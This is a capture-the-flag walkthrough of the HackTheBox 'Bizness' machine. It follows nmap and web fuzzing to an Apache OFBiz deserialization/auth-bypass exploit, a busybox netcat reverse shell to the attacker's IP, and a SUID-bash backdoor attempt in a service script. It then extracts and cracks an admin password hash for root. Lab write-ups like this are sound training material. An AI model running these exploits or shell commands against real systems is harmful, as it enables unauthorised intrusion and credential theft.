Skip to content

Latest commit

 

History

History
425 lines (341 loc) · 18.4 KB

htb-bizness-20240108.md

File metadata and controls

425 lines (341 loc) · 18.4 KB

HackTheBox: Bizness

[!tip]- Summary with Spoilers This Linux machine is running an exploitable version of Apache OFBiz with a RCE vulnerability, but there were two RCE rabbit-holes along the way. An Apache Derby database offers a SHA-1 hash, which is crackable only after some research to get it in the correct format for hashcat/john. PE was otherwise quite easy thanks to the cracked hash and password reuse.

Services

TCP

$ sudo nmap -v -sCV -p- -T4 -oN tcpfull t
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 13:42 CST
NSE: Loaded 156 scripts for scanning.
...
Nmap scan report for t (10.10.11.252)
Host is up (0.097s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp    open  http       nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp   open  ssl/http   nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://bizness.htb/
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg:
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-12-14T20:03:40
| Not valid after:  2328-11-10T20:03:40
| MD5:   b182:2fdb:92b0:2036:6b98:8850:b66e:da27
|_SHA-1: 8138:8595:4343:f40f:937b:cc82:23af:9052:3f5d:eb50
34179/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...

80,443/tcp http/https

$ whatweb http://t
http://t [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.252], RedirectLocation[https://bizness.htb/], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: https://bizness.htb/ - no address for bizness.htb

$ whatweb http://bizness.htb
http://bizness.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.252], RedirectLocation[https://bizness.htb/], Title[301 Moved Permanently], nginx[1.18.0]
https://bizness.htb/ [200 OK] Bootstrap, Cookies[JSESSIONID], Country[RESERVED][ZZ], Email[info@bizness.htb], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[JSESSIONID], IP[10.10.11.252], JQuery, Lightbox, Script, Title[BizNess Incorporated], nginx[1.18.0]

$ whatweb https://bizness.htb
https://bizness.htb [200 OK] Bootstrap, Cookies[JSESSIONID], Country[RESERVED][ZZ], Email[info@bizness.htb], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[JSESSIONID], IP[10.10.11.252], JQuery, Lightbox, Script, Title[BizNess Incorporated], nginx[1.18.0]

Added bizness.htb to /etc/hosts.

$ feroxbuster -k -u https://bizness.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php -d1 -C 503
...
──────────────────────────────────────────────────
302      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        2l      247w     7083c https://bizness.htb/lib/jquery/jquery-migrate.min.js
200      GET       10l       83w     4474c https://bizness.htb/lib/superfish/superfish.min.js
200      GET       15l      120w     9418c https://bizness.htb/lib/lightbox/js/lightbox.min.js
200      GET        1l       44w     2608c https://bizness.htb/lib/lightbox/css/lightbox.min.css
...
200      GET     1176l     7328w   623279c https://bizness.htb/img/intro-carousel/1.jpg
200      GET     1896l     9607w   743797c https://bizness.htb/img/intro-carousel/4.jpg
200      GET      522l     1736w    27200c https://bizness.htb/
404      GET        1l       68w      757c https://bizness.htb/select
200      GET      492l     1596w    34633c https://bizness.htb/control
...

Visiting /control returns this:

Apache OFBiz is an "enterprise resource planning" (ERP) system. Something to do with integrating business processes.

Via searchsploit, maybe this?:

ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) | java/webapps/50178.sh

RCE

There is a pre-auth RCE in Apache Ofboz 18.12.09. A POC is available; the RCE exploit that came back from searchsploit is not correct for this machine.

$ python3 ./x.py https://bizness.htb/control shell 10.10.14.12:443
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0xb121a86) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0xb121a86
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
        at ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Please make sure from data
^ rc=1

$ java --version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 21.0.2 2024-01-16
OpenJDK Runtime Environment (build 21.0.2+13-Debian-2)
OpenJDK 64-Bit Server VM (build 21.0.2+13-Debian-2, mixed mode, sharing)

Looks like the wrong JDK for ysoserial.

$ sudo apt install openjdk-11-jdk
[sudo] password for kali:
Reading package lists... Done
...

$ sudo update-alternatives --config java
There are 3 choices for the alternative java (providing /usr/bin/java).
  Selection    Path                                         Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java   1111      manual mode
  2            /usr/lib/jvm/java-17-openjdk-amd64/bin/java   1711      manual mode
  3            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      manual mode
Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-amd64/bin/java to provide /usr/bin/java (java) in manual mode

$ java --version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 11.0.20-ea 2023-07-18
OpenJDK Runtime Environment (build 11.0.20-ea+7-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.20-ea+7-post-Debian-1, mixed mode, sharing)

$ python3 ./x.py https://bizness.htb/control shell 10.10.14.12:443
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Not Sure Worked or not

Unfortunately, no reverse shell popped.

$ python3 ./x.py https://bizness.htb/control shell 10.10.14.12:443
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0xb121a86) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0xb121a86
        at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
        at ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Please make sure from data
^ rc=1

This exploit worked, partially, the first time I did this box, but now…nothing. I say "partially" because I never could get a reverse shell, but I was able to spawn a bind shell. After poking at this for a while I have a feeling HTB considered this an unintended path and closed it.

So, I'll try fuzzing that endpoint. Everything returns 200 status codes so I need to filter by regex.

$ ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u https://bizness.htb/control/FUZZ -fr RequestHandlerException
...
________________________________________________
help                    [Status: 200, Size: 10756, Words: 1182, Lines: 180, Duration: 596ms]
main                    [Status: 200, Size: 9308, Words: 913, Lines: 141, Duration: 635ms]
view                    [Status: 200, Size: 9308, Words: 913, Lines: 141, Duration: 752ms]
login                   [Status: 200, Size: 11060, Words: 1236, Lines: 186, Duration: 1396ms]
logout                  [Status: 200, Size: 10756, Words: 1182, Lines: 180, Duration: 242ms]
views                   [Status: 200, Size: 9308, Words: 913, Lines: 141, Duration: 1491ms]
forgotPassword          [Status: 200, Size: 11060, Words: 1442, Lines: 175, Duration: 2298ms]
...

Visiting /login gives this:

I try a few guesses with no luck.

I search the web for "ofbiz exploit" and find one titled Apache OFBiz Authentication Bypass Vulnerability. This was not in the searchsploit results from earlier.

It takes me a couple tries to figure out the exact URL it expects:

$ git clone https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass.git
Cloning into 'Apache-OFBiz-Authentication-Bypass'...
...

$ cd Apache-OFBiz-Authentication-Bypass/

$ python3 exploit.py --url https://bizness.htb/control
[+] Scanning started...
[-] Apache OFBiz instance seems NOT to be vulnerable.

$ python3 exploit.py --url https://bizness.htb/control/ogin
[+] Scanning started...
[-] Apache OFBiz instance seems NOT to be vulnerable.

$ python3 exploit.py --url https://bizness.htb/control/login
[+] Scanning started...
[-] Apache OFBiz instance seems NOT to be vulnerable.

$ python3 exploit.py --url https://bizness.htb/
[+] Scanning started...
[+] Apache OFBiz instance seems to be vulnerable.

$ python3 exploit.py --url https://bizness.htb/ --cmd 'busybox nc 10.10.14.12 443 -e bash'
[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

And I finally get a shell:

listening on [any] 443 ...                                                                                                           [33/33]
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.252] 49116
id
uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)
...

ofbiz@bizness:/opt/ofbiz$ cat $HOME/user.txt
a28084...

PE

First I'll setup ligolo so I can access the target's internal ports from my machine.

$ sudo ip tuntap add user kali mode tun ligolo
[sudo] password for kali:
$ sudo ip link set ligolo up
$ sudo ip route add 240.0.0.1/32 dev ligolo
$ ligolo-proxy -selfcert -laddr 10.10.14.12:31337
WARN[0000] Using automatically generated self-signed certificates (Not recommended)
INFO[0000] Listening on 10.10.14.12:31337
    __    _             __
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /
        /____/                          /____/
  Made in France ♥            by @Nicocha30!
ligolo-ng »

On the target:

ofbiz@bizness:~$ wget 10.10.14.12/ligolo-agent
--2024-05-22 18:05:30--  http://10.10.14.12/ligolo-agent
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4681728 (4.5M) [application/octet-stream]
Saving to: ‘ligolo-agent’
ligolo-agent        100%[===================>]   4.46M   769KB/s    in 6.5s
2024-05-22 18:05:37 (699 KB/s) - ‘ligolo-agent’ saved [4681728/4681728]
ofbiz@bizness:~$ chmod +x ligolo-agent
ofbiz@bizness:~$ ./ligolo-agent -ignore-cert -connect 10.10.14.12:31337
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established                        addr="10.10.14.12:31337"

On Kali:

ligolo-ng » INFO[0023] Agent joined.                                 name=ofbiz@bizness remote="10.10.11.252:55306"
ligolo-ng » session
? Specify a session : 1 - #1 - ofbiz@bizness - 10.10.11.252:55306
[Agent : ofbiz@bizness] » tunnel_start
[Agent : ofbiz@bizness] » INFO[0062] Starting tunnel to ofbiz@bizness

Now I can access all the internal ports via 240.0.0.1.

Meanwhile I run LinPEAS and find this:

╔══════════╣ Analyzing .service files
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services
/etc/systemd/system/multi-user.target.wants/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
/etc/systemd/system/multi-user.target.wants/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
/etc/systemd/system/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
/etc/systemd/system/ofbiz.service is calling this writable executable: /opt/ofbiz/gradlew
...


╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
...
-rwxr-sr-x 1 root tty 23K Jan 20  2022 /usr/bin/write.ul (Unknown SGID binary)

I tried adding this to the script at /opt/ofbiz/gradlew:

cp /bin/bash /tmp/x; chmod 6777 /tmp/x

And then I killed gradlew, thinking that systemd would restart it using my malicious script. Unfortunately that didn't happen, and I simply lost the reverse shell and then the ingress points were dead. (So, I reset the machine.)

ofbiz@bizness:/etc/systemd/system$ cat ofbiz.service
# OFBiz service
[Unit]
Description=OFBiz Service
[Service]
Type=simple
# environment variables
Environment="JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64"
Environment="PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:/bin:/sbin:/usr/bin:/usr/sbin"
User=ofbiz
WorkingDirectory=/opt/ofbiz
# start and stop executables
# note that systemd requires specifying full/absolute path to executables
ExecStart=/opt/ofbiz/gradlew ofbiz
ExecStop=/opt/ofbiz/gradlew "ofbiz --shutdown"
Restart=Always
RestartSec=10s
RemainAfterExit=no
[Install]
WantedBy=multi-user.target

After resetting the machine I try to kill the gradle process again, with the untouched startup script, and the same thing happens. Weird, considering the Restart=Always in the config above.

I had put my pubkey on the target so I could login via SSH, but then my shell died again so I think HTB noticed the service was dead and reset the box. Ugh.

Onto another PE vector. LinPEAS highlighted a few "Modified interesting files in the last 5mins", many of which were in the /opt/ofbiz/runtime/data/derby/ofbiz/seg0 directory. I investigated those and found what looks like database files, probably from Apache Derby.

Instead of taking the time to properly access the database contents from the raw files, I resorted to grubbing around with strings:

ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ cat *.dat | strings > /tmp/strings
ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ vi -R /tmp/strings
ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ grep currentPassword /tmp/strings
                <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>

I do a little research and figure this is Apache Ofbiz's way of representing a SHA hash. The trick is converting from the base64 format into hexadecimal.

#!/usr/bin/python3
import base64
# Base64 encoded hash from OFBiz
encoded_hash = "uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
# Ensure the base64 string is correctly padded
padding = '=' * (-len(encoded_hash) % 4)
encoded_hash_padded = encoded_hash + padding
# Decode the base64 to get the binary hash
binary_hash = base64.b64decode(encoded_hash_padded.replace("-", "+").replace("_", "/"))
# Convert the binary hash to a hex string
hex_hash = binary_hash.hex()
# Print the hash in a format suitable for Hashcat
print(hex_hash)
$ python3 ./recode_hash.py
b8fd3f41a541a435857a8f3e751cc3a91c174362

This is also possible (and easier) using CyberChef.

So far so good, however, that hash is salted. The original hash we found was $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I; the "d" after the second $ is the salt value. This is a general convention for several hash formats, i.e. $<scheme>$<salt>$<hash>.

From the hashcat documention for hash types, here's a useful example:

120 | sha1($salt.$pass) | cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024

So I add ":d" to the end of the hash, like this:

b8fd3f41a541a435857a8f3e751cc3a91c174362:d

And now it's easily crackable:

$ hashcat -a0 hash ./rockyou.txt -r rules/best64.rule -m 120
...
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness  

Hoping for password reuse, I try this for the ofbiz account hoping to find Sudo privileges to abuse:

ofbiz@bizness:/tmp$ sudo -l
[sudo] password for ofbiz:
Sorry, try again.

But I'm in luck, since it works for the root user:

ofbiz@bizness:/tmp$ su - root
Password:
root@bizness:~# cat /root/root.txt
eee349...

Credits

I was able to understand the hash-massaging required for this box thanks to Software Sinner's writeup